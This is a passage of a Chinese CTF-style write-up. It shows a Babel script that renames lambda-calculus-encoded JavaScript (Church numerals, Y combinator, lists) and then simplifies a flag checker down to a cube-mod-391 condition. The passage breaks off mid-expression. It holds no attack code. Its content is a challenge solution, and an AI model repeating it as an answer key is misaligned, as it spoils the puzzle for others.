&#123;<span class="type">boolean</span>&#125; - 如果节点匹配模式，则返回 `true`，否则返回 `false`。</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">recursive_match</span>(<span class="params">ast, pattern, dict = <span class="keyword">new</span> <span class="built_in">Map</span>()</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (<span class="title function_">isSameType</span>(<span class="string">&#x27;isArrowFunctionExpression&#x27;</span>, pattern, ast)) &#123;</span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">      ast.<span class="property">params</span>.<span class="property">length</span> === pattern.<span class="property">params</span>.<span class="property">length</span> &amp;&amp;</span><br><span class="line">      ast.<span class="property">params</span>.<span class="title function_">every</span>(<span class="function">(<span class="params">param, index</span>) =&gt;</span></span><br><span class="line">        <span class="title function_">recursive_match</span>(param, pattern.<span class="property">params</span>[index], dict)</span><br><span class="line">      ) &amp;&amp;</span><br><span class="line">      <span class="title function_">recursive_match</span>(ast.<span class="property">body</span>, pattern.<span class="property">body</span>, dict)</span><br><span class="line">    )</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (<span class="title function_">isSameType</span>(<span class="string">&#x27;isCallExpression&#x27;</span>, pattern, ast)) &#123;</span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">      <span class="title function_">recursive_match</span>(ast.<span class="property">callee</span>, pattern.<span class="property">callee</span>, dict) &amp;&amp;</span><br><span class="line">      ast.<span class="property">arguments</span>.<span class="property">length</span> === pattern.<span class="property">arguments</span>.<span class="property">length</span> &amp;&amp;</span><br><span class="line">      ast.<span class="property">arguments</span>.<span class="title function_">every</span>(<span class="function">(<span class="params">arg, index</span>) =&gt;</span></span><br><span class="line">        <span class="title function_">recursive_match</span>(arg, pattern.<span class="property">arguments</span>[index], dict)</span><br><span class="line">      )</span><br><span class="line">    )</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (t.<span class="title function_">isIdentifier</span>(ast)) &#123;</span><br><span class="line">    <span class="keyword">if</span> (t.<span class="title function_">isStringLiteral</span>(pattern)) <span class="keyword">return</span> pattern.<span class="property">value</span> === ast.<span class="property">name</span></span><br><span class="line">    <span class="keyword">if</span> (t.<span class="title function_">isIdentifier</span>(pattern)) &#123;</span><br><span class="line">      <span class="keyword">if</span> (!dict.<span class="title function_">has</span>(pattern.<span class="property">name</span>)) &#123;</span><br><span class="line">        dict.<span class="title function_">set</span>(pattern.<span class="property">name</span>, ast.<span class="property">name</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> dict.<span class="title function_">get</span>(pattern.<span class="property">name</span>) === ast.<span class="property">name</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 替换 AST 中的表达式。</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">import(&#x27;@babel/types&#x27;).File</span>&#125; <span class="variable">ast</span> - 要遍历的抽象语法树。</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">string</span>&#125; <span class="variable">expression</span> - 要匹配的表达式字符串。</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">string</span>&#125; <span class="variable">replacement</span> - 用于替换的表达式字符串。</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">replace</span>(<span class="params">ast, expression, replacement</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> <span class="keyword">from</span> = parser.<span class="title function_">parseExpression</span>(expression)</span><br><span class="line">  <span class="keyword">const</span> target = parser.<span class="title function_">parseExpression</span>(replacement)</span><br><span class="line"></span><br><span class="line">  <span class="title function_">traverse</span>(ast, &#123;</span><br><span class="line">    [<span class="keyword">from</span>.<span class="property">type</span>](path) &#123;</span><br><span class="line">      <span class="keyword">if</span> (<span class="title function_">recursive_match</span>(path.<span class="property">node</span>, <span class="keyword">from</span>)) path.<span class="title function_">replaceWith</span>(target)</span><br><span class="line">      <span class="comment">// 本来以为可能有 MUL(a)(b) 这种需要动态替换变量名的情况，</span></span><br><span class="line">      <span class="comment">// 但是实际上不需要，直接文本替换 MUL 就很好使了。</span></span><br><span class="line">      <span class="comment">//</span></span><br><span class="line">      <span class="comment">// const dict = new Map()</span></span><br><span class="line">      <span class="comment">// if (recursive_match(path.node, from, dict)) &#123;</span></span><br><span class="line">      <span class="comment">//   const replacement = t.cloneNode(target)</span></span><br><span class="line">      <span class="comment">//   traverse(</span></span><br><span class="line">      <span class="comment">//     replacement,</span></span><br><span class="line">      <span class="comment">//     &#123;</span></span><br><span class="line">      <span class="comment">//       Identifier(path) &#123;</span></span><br><span class="line">      <span class="comment">//         const &#123; node &#125; = path</span></span><br><span class="line">      <span class="comment">//         if (dict.has(node.name)) &#123;</span></span><br><span class="line">      <span class="comment">//           node.name = dict.get(node.name)</span></span><br><span class="line">      <span class="comment">//         &#125;</span></span><br><span class="line">      <span class="comment">//       &#125;,</span></span><br><span class="line">      <span class="comment">//     &#125;,</span></span><br><span class="line">      <span class="comment">//     path.scope</span></span><br><span class="line">      <span class="comment">//   )</span></span><br><span class="line">      <span class="comment">//   path.replaceWith(replacement)</span></span><br><span class="line">      <span class="comment">// &#125;</span></span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Combinator</span></span><br><span class="line"><span class="title function_">replace</span>(</span><br><span class="line">  ast,</span><br><span class="line">  <span class="string">&#x27;f =&gt; (x =&gt; f(y =&gt; x(x)(y)))(x =&gt; f(y =&gt; x(x)(y)))&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;Y_Combinator&#x27;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Bool</span></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;t =&gt; f =&gt; t&#x27;</span>, <span class="string">&#x27;TRUE&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;t =&gt; f =&gt; f&#x27;</span>, <span class="string">&#x27;FALSE&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;x =&gt; y =&gt; x(y)(_)&#x27;</span>, <span class="string">&#x27;AND&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;x =&gt; y =&gt; x(_)(y)&#x27;</span>, <span class="string">&#x27;OR&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Aritmetic</span></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;n =&gt; f =&gt; x =&gt; f(n(f)(x))&#x27;</span>, <span class="string">&#x27;SUCC&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;n =&gt; f =&gt; x =&gt; n(g =&gt; h =&gt; h(g(f)))(_ =&gt; x)(e =&gt; e)&#x27;</span>, <span class="string">&#x27;PRED&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; b(&quot;SUCC&quot;)(a)&#x27;</span>, <span class="string">&#x27;ADD&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; b(&quot;PRED&quot;)(a)&#x27;</span>, <span class="string">&#x27;SUB&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; f =&gt; a(b(f))&#x27;</span>, <span class="string">&#x27;MUL&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; b(a)&#x27;</span>, <span class="string">&#x27;POW&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Order</span></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; a(_ =&gt; &quot;FALSE&quot;)(&quot;TRUE&quot;)&#x27;</span>, <span class="string">&#x27;ISZERO&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; &quot;ISZERO&quot;(&quot;SUB&quot;(b)(a))&#x27;</span>, <span class="string">&#x27;GTE&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; &quot;ISZERO&quot;(&quot;SUB&quot;(a)(b))&#x27;</span>, <span class="string">&#x27;LTE&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; &quot;ISZERO&quot;(&quot;SUB&quot;(&quot;SUCC&quot;(b))(a))&#x27;</span>, <span class="string">&#x27;GT&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; &quot;ISZERO&quot;(&quot;SUB&quot;(&quot;SUCC&quot;(a))(b))&#x27;</span>, <span class="string">&#x27;LT&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; &quot;AND&quot;(&quot;GTE&quot;(a)(b))(&quot;LTE&quot;(a)(b))&#x27;</span>, <span class="string">&#x27;EQ&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Number</span></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;f =&gt; x =&gt; f(f(x))&#x27;</span>, <span class="string">&#x27;TWO&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;f =&gt; x =&gt; f(f(f(x)))&#x27;</span>, <span class="string">&#x27;THREE&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// FIX: Magic number</span></span><br><span class="line"><span class="title function_">replace</span>(</span><br><span class="line">  ast,</span><br><span class="line">  <span class="string">&#x27;SUCC(MUL(TWO)(SUCC(MUL(TWO)(SUCC(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(SUCC(MUL(TWO)(SUCC(FALSE)))))))))))))&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;NUM_391&#x27;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Pair</span></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;a =&gt; b =&gt; s =&gt; s(a)(b)&#x27;</span>, <span class="string">&#x27;CONS&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;p =&gt; p(&quot;TRUE&quot;)&#x27;</span>, <span class="string">&#x27;CAR&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;p =&gt; p(&quot;FALSE&quot;)&#x27;</span>, <span class="string">&#x27;CDR&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// List</span></span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;&quot;CONS&quot;(&quot;TRUE&quot;)(&quot;TRUE&quot;)&#x27;</span>, <span class="string">&#x27;LIST&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;list =&gt; &quot;CAR&quot;(list)&#x27;</span>, <span class="string">&#x27;EMPTY&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;list =&gt; &quot;CAR&quot;(&quot;CDR&quot;(list))&#x27;</span>, <span class="string">&#x27;HEAD&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;list =&gt; &quot;CDR&quot;(&quot;CDR&quot;(list))&#x27;</span>, <span class="string">&#x27;TAIL&#x27;</span>)</span><br><span class="line"><span class="title function_">replace</span>(ast, <span class="string">&#x27;list =&gt; x =&gt; &quot;CONS&quot;(&quot;FALSE&quot;)(&quot;CONS&quot;(x)(list))&#x27;</span>, <span class="string">&#x27;PREPEND&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// High level functions</span></span><br><span class="line"><span class="title function_">replace</span>(</span><br><span class="line">  ast,</span><br><span class="line">  <span class="string">&#x27;&quot;Y_Combinator&quot;(f =&gt; a =&gt; b =&gt; &quot;LT&quot;(a)(b)(_1 =&gt; a)(_2 =&gt; f(&quot;SUB&quot;(a)(b))(b))(&quot;FALSE&quot;))&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;MOD&#x27;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="title function_">replace</span>(</span><br><span class="line">  ast,</span><br><span class="line">  <span class="string">&#x27;&quot;Y_Combinator&quot;(f =&gt; list =&gt; x =&gt; &quot;EMPTY&quot;(list)(_1 =&gt; &quot;PREPEND&quot;(list)(x))(_2 =&gt; &quot;CONS&quot;(&quot;FALSE&quot;)(&quot;CONS&quot;(&quot;HEAD&quot;(list))(f(&quot;TAIL&quot;(list))(x))))(&quot;TRUE&quot;))&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;APPEND&#x27;</span></span><br><span class="line">)</span><br><span class="line"><span class="title function_">replace</span>(</span><br><span class="line">  ast,</span><br><span class="line">  <span class="string">&#x27;&quot;Y_Combinator&quot;(f =&gt; a =&gt; b =&gt; &quot;GTE&quot;(a)(b)(_1 =&gt; &quot;LIST&quot;)(_2 =&gt; &quot;PREPEND&quot;(f(&quot;SUCC&quot;(a))(b))(a))(&quot;TRUE&quot;))&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;RANGE&#x27;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">generate</span>(ast).<span class="property">code</span>)</span><br></pre></td></tr></table></figure><p>反混淆后可以得到下面的代码：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">EQ</span>(</span><br><span class="line">  <span class="title function_">Y_Combinator</span>(</span><br><span class="line">    <span class="function"><span class="params">a1</span> =&gt;</span> <span class="function"><span class="params">a2</span> =&gt;</span> <span class="function"><span class="params">b1</span> =&gt;</span> <span class="function"><span class="params">b2</span> =&gt;</span></span><br><span class="line">      <span class="title function_">OR</span>(<span class="title function_">EMPTY</span>(b1))(<span class="title function_">EMPTY</span>(b2))(<span class="function"><span class="params">c1</span> =&gt;</span> <span class="variable constant_">FALSE</span>)(<span class="function"><span class="params">c1</span> =&gt;</span></span><br><span class="line">        (</span><br><span class="line">          <span class="function"><span class="params">c2</span> =&gt;</span> <span class="function"><span class="params">d1</span> =&gt;</span></span><br><span class="line">            <span class="title function_">c2</span>(<span class="variable constant_">SUCC</span>)(d1)</span><br><span class="line">        )(<span class="title function_">a1</span>(a2)(<span class="title function_">TAIL</span>(b1))(<span class="title function_">TAIL</span>(b2)))(<span class="title function_">a2</span>(<span class="title function_">HEAD</span>(b1))(<span class="title function_">HEAD</span>(b2)))</span><br><span class="line">      )(<span class="variable constant_">FALSE</span>)</span><br><span class="line">  )(</span><br><span class="line">    <span class="function"><span class="params">a1</span> =&gt;</span> <span class="function"><span class="params">a2</span> =&gt;</span></span><br><span class="line">      <span class="title function_">AND</span>(<span class="title function_">LTE</span>(a1)(<span class="variable constant_">NUM_391</span>))(</span><br><span class="line">        <span class="title function_">EQ</span>(</span><br><span class="line">          <span class="title function_">Y_Combinator</span>(</span><br><span class="line">            <span class="function"><span class="params">b1</span> =&gt;</span> <span class="function"><span class="params">b2</span> =&gt;</span> <span class="function"><span class="params">c1</span> =&gt;</span> <span class="function"><span class="params">c2</span> =&gt;</span></span><br><span class="line">              <span class="title function_">ISZERO</span>(c1)(<span class="variable constant_">FALSE</span>)(<span class="function"><span class="params">d1</span> =&gt;</span> <span class="title function_">MOD</span>(<span class="title function_">MUL</span>(<span class="title function_">b1</span>(b2)(<span class="title function_">PRED</span>(c1))(c2))(b2))(c2))(</span><br><span class="line">                <span class="variable constant_">FALSE</span></span><br><span class="line">              )</span><br><span class="line">          )(a1)(<span class="variable constant_">THREE</span>)(<span class="variable constant_">NUM_391</span>)</span><br><span class="line">        )(a2)</span><br><span class="line">      )(<span class="function"><span class="params">b1</span> =&gt;</span> b1)(<span class="variable constant_">FALSE</span>)</span><br><span class="line">  )(</span><br><span class="line">    <span class="title function_">PREPEND</span>(</span><br><span class="line">      <span class="title function_">PREPEND</span>(</span><br><span class="line">        <span class="title function_">PREPEND</span>(</span><br><span class="line">          <span class="title function_">PREPEND</span>(</span><br><span class="line">            <span class="title function_">PREPEND</span>(</span><br><span class="line">              <span class="title function_">PREPEND</span>(</span><br><span class="line">                <span class="title function_">PREPEND</span>(</span><br><span class="line">                  <span class="title function_">PREPEND</span>(</span><br><span class="line">                    <span class="title function_">PREPEND</span>(</span><br><span class="line">                      <span class="title function_">PREPEND</span>(</span><br><span class="line">                        <span class="title function_">PREPEND</span>(</span><br><span class="line">                          <span class="title function_">PREPEND</span>(</span><br><span class="line">                            <span class="title function_">PREPEND</span>(</span><br><span class="line">                              <span class="title function_">PREPEND</span>(</span><br><span class="line">                                <span class="title function_">PREPEND</span>(</span><br><span class="line">                                  <span class="title function_">PREPEND</span>(</span><br><span class="line">                                    <span class="variable constant_">LIST</span></span><br><span class="line">                                  )(c16)</span><br><span class="line">                                )(c15)</span><br><span class="line">                              )(c14)</span><br><span class="line">                            )(c13)</span><br><span class="line">                          )(c12)</span><br><span class="line">                        )(c11)</span><br><span class="line">                      )(c10)</span><br><span class="line">                    )(c9)</span><br><span class="line">                  )(c8)</span><br><span class="line">                )(c7)</span><br><span class="line">              )(c6)</span><br><span class="line">            )(c5)</span><br><span class="line">          )(c4)</span><br><span class="line">        )(c3)</span><br><span class="line">      )(c2)</span><br><span class="line">    )(c1)</span><br><span class="line">  )(<span class="title function_">RANGE</span>(<span class="variable constant_">THREE</span>)(<span class="title function_">SUCC</span>(<span class="title function_">MUL</span>(<span class="variable constant_">TWO</span>)(<span class="title function_">POW</span>(<span class="variable constant_">THREE</span>)(<span class="variable constant_">TWO</span>)))))</span><br><span class="line">)(<span class="title function_">MUL</span>(<span class="title function_">SUCC</span>(<span class="variable constant_">THREE</span>))(<span class="title function_">SUCC</span>(<span class="variable constant_">THREE</span>)))(<span class="literal">true</span>)(<span class="literal">false</span>)</span><br></pre></td></tr></table></figure><p>重新命名一下：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">EQ</span>(</span><br><span class="line">  <span class="title function_">Y_Combinator</span>(</span><br><span class="line">    <span class="function"><span class="params">f</span> =&gt;</span> <span class="function"><span class="params">judge_func</span> =&gt;</span> <span class="function"><span class="params">A</span> =&gt;</span> <span class="function"><span class="params">B</span> =&gt;</span></span><br><span class="line">      <span class="title function_">OR</span>(<span class="title function_">EMPTY</span>(A))(<span class="title function_">EMPTY</span>(B))(<span class="function">() =&gt;</span> <span class="number">0</span>)(<span class="function">() =&gt;</span></span><br><span class="line">        (</span><br><span class="line">          <span class="function"><span class="params">c2</span> =&gt;</span> <span class="function"><span class="params">d1</span> =&gt;</span></span><br><span class="line">            <span class="title function_">c2</span>(<span class="variable constant_">SUCC</span>)(d1)</span><br><span class="line">        )(<span class="title function_">f</span>(judge_func)(<span class="title function_">TAIL</span>(A))(<span class="title function_">TAIL</span>(B)))(<span class="title function_">judge_func</span>(<span class="title function_">HEAD</span>(A))(<span class="title function_">HEAD</span>(B)))</span><br><span class="line">      )(<span class="number">0</span>)</span><br><span class="line">  )(</span><br><span class="line">    <span class="function"><span class="params">input</span> =&gt;</span> <span class="function"><span class="params">expect</span> =&gt;</span></span><br><span class="line">      <span class="title function_">AND</span>(<span class="title function_">LTE</span>(input)(<span class="number">391</span>))(</span><br><span class="line">        <span class="title function_">EQ</span>(</span><br><span class="line">          <span class="title function_">Y_Combinator</span>(</span><br><span class="line">            <span class="function"><span class="params">f</span> =&gt;</span> <span class="function"><span class="params">n</span> =&gt;</span> <span class="function"><span class="params">i</span> =&gt;</span> <span class="function"><span class="params">mod</span> =&gt;</span></span><br><span class="line">              <span class="title function_">ISZERO</span>(i)(<span class="function"><span class="params">e</span> =&gt;</span> <span class="function"><span class="params">_</span> =&gt;</span> _)(<span class="function">() =&gt;</span> <span class="title function_">MOD</span>(<span class="title function_">MUL</span>(<span class="title function_">f</span>(n)(<span class="title function_">PRED</span>(i))(mod))(n))(mod))(<span class="number">0</span>)</span><br><span class="line">          )(input)(<span class="number">3</span>)(<span class="number">391</span>)</span><br><span class="line">        )(expect)</span><br><span class="line">      )(<span class="function"><span class="params">_</span> =&gt;</span> _)(<span class="number">0</span>)</span><br><span class="line">  )(</span><br><span class="line">    <span class="title function_">PREPEND</span>(</span><br><span class="line">      <span class="title function_">PREPEND</span>(</span><br><span class="line">        <span class="title function_">PREPEND</span>(</span><br><span class="line">          <span class="title function_">PREPEND</span>(</span><br><span class="line">            <span class="title function_">PREPEND</span>(</span><br><span class="line">              <span class="title function_">PREPEND</span>(</span><br><span class="line">                <span class="title function_">PREPEND</span>(</span><br><span class="line">                  <span class="title function_">PREPEND</span>(</span><br><span class="line">                    <span class="title function_">PREPEND</span>(</span><br><span class="line">                      <span class="title function_">PREPEND</span>(</span><br><span class="line">                        <span class="title function_">PREPEND</span>(</span><br><span class="line">                          <span class="title function_">PREPEND</span>(</span><br><span class="line">                            <span class="title function_">PREPEND</span>(</span><br><span class="line">                              <span class="title function_">PREPEND</span>(</span><br><span class="line">                                <span class="title function_">PREPEND</span>(</span><br><span class="line">                                  <span class="title function_">PREPEND</span>(</span><br><span class="line">                                    <span class="variable constant_">LIST</span></span><br><span class="line">                                  )(c16)</span><br><span class="line">                                )(c15)</span><br><span class="line">                              )(c14)</span><br><span class="line">                            )(c13)</span><br><span class="line">                          )(c12)</span><br><span class="line">                        )(c11)</span><br><span class="line">                      )(c10)</span><br><span class="line">                    )(c9)</span><br><span class="line">                  )(c8)</span><br><span class="line">                )(c7)</span><br><span class="line">              )(c6)</span><br><span class="line">            )(c5)</span><br><span class="line">          )(c4)</span><br><span class="line">        )(c3)</span><br><span class="line">      )(c2)</span><br><span class="line">    )(c1)</span><br><span class="line">  )(<span class="title function_">RANGE</span>(<span class="number">3</span>)(<span class="number">19</span>))</span><br><span class="line">)(<span class="number">16</span>)(<span class="literal">true</span>)(<span class="literal">false</span>)</span><br></pre></td></tr></table></figure><p>把 <code>APPEND</code> 改成数组，把 <code>EQ</code> 、 <code>OR</code> 、 <code>AND</code> 等等函数换为对应的运算符：</p><blockquote><p>其中 <code>RANGE(3)(19) = [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]</code></p></blockquote><blockquote><p>注意 <code>ISZERO(i)(e =&gt; _ =&gt; _)(...)(0)</code> 这里的 <code>e =&gt; _ =&gt; _</code> 并不是 <code>FALSE</code> ，因为在最后有一个调用 <code>(0)</code> ，实际上应该变为 <code>i == 0 ? (e =&gt; _ =&gt; _)(0) : (...)(0)</code> 也就是 <code>_ =&gt; _</code> 。</p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">(<span class="title function_">Y_Combinator</span>(<span class="function"><span class="params">f</span> =&gt;</span> <span class="function"><span class="params">judge_func</span> =&gt;</span> <span class="function"><span class="params">A</span> =&gt;</span> <span class="function"><span class="params">B</span> =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (A.<span class="title function_">empty</span>() || B.<span class="title function_">empty</span>()) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">      <span class="function"><span class="params">c2</span> =&gt;</span> <span class="function"><span class="params">d1</span> =&gt;</span></span><br><span class="line">        <span class="title function_">c2</span>(<span class="variable constant_">SUCC</span>)(d1)</span><br><span class="line">    )(<span class="title function_">f</span>(judge_func)(<span class="title function_">TAIL</span>(A))(<span class="title function_">TAIL</span>(B)))(<span class="title function_">judge_func</span>(<span class="title function_">HEAD</span>(A))(<span class="title function_">HEAD</span>(B)))</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)(<span class="function"><span class="params">input</span> =&gt;</span> <span class="function"><span class="params">expect</span> =&gt;</span> &#123;</span><br><span class="line">  input &lt;= <span class="number">391</span> &amp;&amp;</span><br><span class="line">  <span class="title function_">EQ</span>(</span><br><span class="line">    <span class="title function_">Y_Combinator</span>(<span class="function"><span class="params">f</span> =&gt;</span> <span class="function"><span class="params">n</span> =&gt;</span> <span class="function"><span class="params">i</span> =&gt;</span> <span class="function"><span class="params">mod</span> =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">return</span> i == <span class="number">0</span> ? (<span class="function"><span class="params">_</span> =&gt;</span> _) : (<span class="function">() =&gt;</span> (<span class="title function_">f</span>(n)(i - <span class="number">1</span>)(mod) * n) % mod)(<span class="number">0</span>)</span><br><span class="line">    &#125;)(input)(<span class="number">3</span>)(<span class="number">391</span>)</span><br><span class="line">  )(expect)</span><br><span class="line">    ? <span class="function"><span class="params">_</span> =&gt;</span> _</span><br><span class="line">    : <span class="number">0</span></span><br><span class="line">&#125;)</span><br><span class="line">  ([c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, c14, c15, c16])</span><br><span class="line">  ([ <span class="number">3</span>,  <span class="number">4</span>,  <span class="number">5</span>,  <span class="number">6</span>,  <span class="number">7</span>,  <span class="number">8</span>,  <span class="number">9</span>, <span class="number">10</span>, <span class="number">11</span>,  <span class="number">12</span>,  <span class="number">13</span>,  <span class="number">14</span>,  <span class="number">15</span>,  <span class="number">16</span>,  <span class="number">17</span>,  <span class="number">18</span>])</span><br><span class="line">) == <span class="number">16</span> ? <span class="literal">true</span> : <span class="literal">false</span></span><br></pre></td></tr></table></figure><p>注意到第一部分声明了一个循环函数，使用传入的 <code>judge_func</code> 依次检查十六个数是否满足要求，然后返回 <code>_ =&gt; _</code> 或者 <code>0</code>，所以我们只关注中间部分即可：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">input =&gt; <span class="function"><span class="params">expect</span> =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> (</span><br><span class="line">    input &lt;= <span class="number">391</span> &amp;&amp;</span><br><span class="line">    <span class="title function_">Y_Combinator</span>(<span class="function"><span class="params">f</span> =&gt;</span> <span class="function"><span class="params">n</span> =&gt;</span> <span class="function"><span class="params">i</span> =&gt;</span> <span class="function"><span class="params">mod</span> =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">return</span> i == <span class="number">0</span> ? (<span class="function"><span class="params">_</span> =&gt;</span> _) : (<span class="function">() =&gt;</span> (<span class="title function_">f</span>(n)(i - <span class="number">1</span>)(mod) * n) % mod)(<span class="number">0</span>)</span><br><span class="line">    &#125;)(input)(<span class="number">3</span>)(<span class="number">391</span>) == expect</span><br><span class="line">  )</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现输入的数字不能超过 <code>391</code>，接着看里面的循环，它的结果需要等于 <code>range(3, 19)</code> 中对应的数字：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">f = <span class="function">(<span class="params">n, i, mod</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (i == <span class="number">0</span>) <span class="keyword">return</span> <span class="function"><span class="params">_</span> =&gt;</span> _</span><br><span class="line">  <span class="keyword">return</span> (<span class="function">() =&gt;</span> (<span class="title function_">f</span>(n, i - <span class="number">1</span>, mod) * n) % mod)(<span class="number">0</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>(input, <span class="number">3</span>, <span class="number">391</span>)</span><br></pre></td></tr></table></figure><p>里面有个立刻执行函数，拆掉：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">f = <span class="function">(<span class="params">n, i, mod</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (i == <span class="number">0</span>) <span class="keyword">return</span> <span class="function"><span class="params">_</span> =&gt;</span> _</span><br><span class="line">  <span class="keyword">return</span> (<span class="title function_">f</span>(n, i - <span class="number">1</span>, mod) * n) % mod</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>(input, <span class="number">3</span>, <span class="number">391</span>)</span><br></pre></td></tr></table></figure><p><code>mod</code> 从始至终都没变，所以也可以省略：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">f = <span class="function">(<span class="params">n, i</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (i == <span class="number">0</span>) <span class="keyword">return</span> <span class="function"><span class="params">_</span> =&gt;</span> _</span><br><span class="line">  <span class="keyword">return</span> (<span class="title function_">f</span>(n, i - <span class="number">1</span>) * n) % <span class="number">391</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>(input, <span class="number">3</span>)</span><br><span class="line">= <span class="title function_">f</span>(input, <span class="number">2</span>) * input % <span class="number">391</span></span><br><span class="line">= <span class="title function_">f</span>(input, <span class="number">1</span>) * input * input % <span class="number">391</span></span><br><span class="line">= <span class="title function_">f</span>(input, <span class="number">0</span>) * input * input * input % <span class="number">391</span></span><br></pre></td></tr></table></figure><p>因为 <code>_ =&gt; _</code> 是一个单位元，此处可以认为是 <code>1</code> ，于是逻辑分析完毕：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">input &lt;= <span class="number">391</span> &amp;&amp; input ** <span class="number">3</span> % <span class="number">391</span> == 